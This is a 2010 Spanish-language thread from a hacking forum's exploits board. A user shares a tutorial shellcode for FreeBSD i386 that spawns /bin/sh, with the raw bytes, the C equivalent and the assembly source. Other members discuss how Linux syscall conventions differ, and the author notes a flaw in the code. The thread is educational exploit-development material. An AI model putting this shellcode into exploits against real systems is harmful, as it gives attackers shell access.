elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:14  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  shellcode para freebsd
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: shellcode para freebsd  (Leído 1,526 veces)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
shellcode para freebsd
« en: 15 Febrero 2010, 03:07 »

Esta es la shellcode que mostré en el video "Explicando los shellcode tercera entrega", para linux habría que cambiar el numero de la llamada al sistema, y creo que con eso debería de funcionar, sin embargo tengo entendido que linux usa los registros para colocar los argumentos de la función a llamar, si esto es así, entonces lo que se necesita es un cambio total xDDD

La shellcode es totalmente ineficiente, pero es lo simple que se le puede mostrar aalquien que esta aprendiendo este tema.

Código
char *shellcode = "\xeb\x1c\x5e\x89\x75\x04\x31\xc0\x50\x89\x45\x08\xb0\x3b\x8d\x4d\x04\x51\x56\x50\xcd\x80\x31\xc0\x50\xb0\x01\x50\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";
 

prácticamente es el codigo shell de:

Código
/*
Anon@elhacker.net
Entendiendo los shellcode
*/

 
#include<stdio.h>
#include<stdlib.h>
 
int main(void) {
char *sh[] = {"/bin/sh",NULL};
execve(sh[0],sh,NULL);
exit(0);
}
 

Probado en FreeBSD 7.0-RELEASE i386

Saludos
« Última modificación: 15 Febrero 2010, 03:16 por Anon » En línea

Bien Super Divertido
@wifigdlmx
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: shellcode para freebsd
« Respuesta #1 en: 15 Febrero 2010, 08:45 »

Buenas Anon ;) donde se encuentra el video explicando shell code primera entrega para empezar desde el principio? perdon si esta muy a la vista y no lo he visto. Un saludo
En línea

01001010 01100001 01110110 01101001 01100101 01110010
alexkof158


Desconectado Desconectado

Mensajes: 413


LOL


Ver Perfil
Re: shellcode para freebsd
« Respuesta #2 en: 15 Febrero 2010, 08:48 »

http://www.youtube.com/watch?v=a9IPleCG7Yk

Todo no te lo pueden hacerrr
saludosss
En línea

"noproxy"
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.210


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: shellcode para freebsd
« Respuesta #3 en: 15 Febrero 2010, 10:27 »

Sep, en linux se pone en EAX el nº de llamada al sistema, y en los registros sucesivos los diferente argumentos que esta tenga
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: shellcode para freebsd
« Respuesta #4 en: 15 Febrero 2010, 13:11 »

soez la lista de vídeos esta aqui:

http://foro.elhacker.net/bugs_y_exploits/videos_heuristica_y_explotacion_de_vulnerabilidades-t279885.0.html

@kamsky gracias por la aclaración sobre linux, se nota que lo uso poco xDDD

En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: shellcode para freebsd
« Respuesta #5 en: 17 Febrero 2010, 03:46 »

Acabo de ver que mi shellcode solo sirve para mostrar como realizar una shellcode que nunca se va a usar :P

Tiene un pequeño problema, hace uso del registro EBP, y este generalmente es sobrescrito :xD

Igualmente conociendo la teoria del ASM se podrá cambiar con facilidad por otra.

Código
	.text
.p2align 4,,15
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
subl $4, %esp
call shellcode
addl $4, %esp
popl %ecx
popl %ebp
leal -4(%ecx), %esp
ret
.size main, .-main
.p2align 4,,15
.globl shellcode
.type shellcode, @function
shellcode: jmp guardaSH
.size shellcode, .-shellcode
.globl myExit
.type myExit, @function
myExit:
popl %esi
mov %esi, 4(%ebp)
xor %eax,%eax
push %eax
mov %eax, 8(%ebp)
movb $0x3b, %al
leal 4(%ebp), %ecx
push %ecx
push %esi
push %eax
int $0x80
xor %eax,%eax
push %eax
movb $0x1, %al
push %eax
int $0x80
.size myExit, .-myExit
.globl guardaSH
.type guardaSH, @function
guardaSH:
call myExit
.string "/bin/sh"
.size guardaSH, .-guardaSH
 
 


Dejo el code, lo que realmente importa es desde la linea 23 (Linea resaltada)
« Última modificación: 17 Febrero 2010, 03:48 por Anon » En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
shellcode básica para windows.
Bugs y Exploits
black_flowers 7 2,130 Último mensaje 6 Febrero 2011, 16:39
por black_flowers
FreeBSD - Aplicaciones para Escritorio
Unix/Unix-Like
9ttnix 2 2,027 Último mensaje 13 Septiembre 2011, 01:46
por 9ttnix
IDE C/C++: Para FreeBSD o GNU/Debian
Programación C/C++
9ttnix 11 860 Último mensaje 27 Noviembre 2011, 03:59
por vertexSymphony
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines